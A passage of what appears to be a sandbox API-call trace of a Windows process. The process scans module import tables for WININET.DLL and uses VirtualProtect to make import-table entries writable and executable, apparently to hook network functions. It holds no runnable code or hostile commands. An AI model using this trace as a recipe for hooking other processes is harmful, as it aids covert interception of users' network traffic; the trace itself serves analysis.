lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.666] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.666] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.666] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.666] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.666] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.667] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.667] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0073.667] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="dwmapi.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="DUser.dll", lpString2="WININET.DLL") returned -1 [0073.667] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.667] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74950000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74950000, AllocationBase=0x74950000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.667] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.667] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.667] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.667] lstrcmpiA (lpString1="gdiplus.dll", lpString2="WININET.DLL") returned -1 [0073.667] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ecd0 | out: hHeap=0x2390000) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.667] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74940000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74940000, AllocationBase=0x74940000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.667] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.668] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.668] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73500000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73500000, AllocationBase=0x73500000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.668] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.668] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ecd0 [0073.668] lstrcmpiA (lpString1="gdiplus.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="COMCTL32.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="COMDLG32.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="hlink.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="ImgUtil.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="UxTheme.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="USP10.dll", lpString2="WININET.DLL") returned -1 [0073.668] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0073.668] VirtualProtect (in: lpAddress=0x73a38328, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x4) returned 1 [0073.668] VirtualProtect (in: lpAddress=0x73a38328, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.669] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74870000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74870000, AllocationBase=0x74870000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.669] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.669] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.669] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74860000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74860000, AllocationBase=0x74860000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.669] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.669] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.669] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x734d0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x734d0000, AllocationBase=0x734d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.669] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.669] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.669] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76ec0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x76ec0000, AllocationBase=0x76ec0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.669] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.669] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.669] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73270000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73270000, AllocationBase=0x73270000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.669] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.669] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.669] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73170000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73170000, AllocationBase=0x73170000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.669] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.669] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.670] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.670] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="logoncli.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="netutils.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="MSSIGN32.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="certcli.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="certenroll.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0073.670] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x734a0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x734a0000, AllocationBase=0x734a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.670] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.670] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.670] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75500000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x75500000, AllocationBase=0x75500000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.670] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.670] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.670] lstrcmpiA (lpString1="DEVRTL.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="drvstore.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="Cabinet.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0073.670] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0073.671] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0073.671] lstrcmpiA (lpString1="SCECLI.dll", lpString2="WININET.DLL") returned -1 [0073.671] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0073.671] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0073.671] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0073.671] lstrcmpiA (lpString1="WINSPOOL.DRV", lpString2="WININET.DLL") returned 1 [0073.671] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.671] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0073.671] lstrcmpiA (lpString1="apphelp.dll", lpString2="WININET.DLL") returned -1 [0073.671] lstrcmpiA (lpString1="SPINF.dll", lpString2="WININET.DLL") returned -1 [0073.671] lstrcmpiA (lpString1="SPFILEQ.dll", lpString2="WININET.DLL") returned -1 [0073.671] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ed08 | out: hHeap=0x2390000) returned 1 [0073.671] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.671] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74f00000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x74f00000, AllocationBase=0x74f00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.671] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.671] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.671] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754a0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x754a0000, AllocationBase=0x754a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.671] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.671] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.671] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73480000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73480000, AllocationBase=0x73480000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.671] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.671] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.671] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73460000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73460000, AllocationBase=0x73460000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.671] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.671] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.671] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73450000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73450000, AllocationBase=0x73450000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.671] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.671] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.672] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73430000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73430000, AllocationBase=0x73430000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.672] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.672] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.672] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73420000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73420000, AllocationBase=0x73420000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.672] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.672] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.672] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73400000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x73400000, AllocationBase=0x73400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.672] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.672] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.672] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x72a90000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x72a90000, AllocationBase=0x72a90000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.672] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.672] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.672] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x72a20000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x72a20000, AllocationBase=0x72a20000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.672] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.672] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed08 [0073.672] VirtualProtect (in: lpAddress=0x72a8800c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x4) returned 1 [0073.672] VirtualProtect (in: lpAddress=0x72a8800c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.673] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed40 [0073.673] VirtualProtect (in: lpAddress=0x72a88000, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x4) returned 1 [0073.673] VirtualProtect (in: lpAddress=0x72a88000, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.673] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ed78 [0073.673] VirtualProtect (in: lpAddress=0x72a88004, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x4) returned 1 [0073.674] VirtualProtect (in: lpAddress=0x72a88004, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.674] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278edb0 [0073.674] VirtualProtect (in: lpAddress=0x72a8801c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x4) returned 1 [0073.674] VirtualProtect (in: lpAddress=0x72a8801c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x26fcb0 | out: lpflOldProtect=0x26fcb0*=0x40) returned 1 [0073.674] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76af0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x76af0000, AllocationBase=0x76af0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.674] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.674] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ede8 [0073.675] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x756a0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x756a0000, AllocationBase=0x756a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.675] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.675] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ede8 [0073.675] VirtualQueryEx (in: 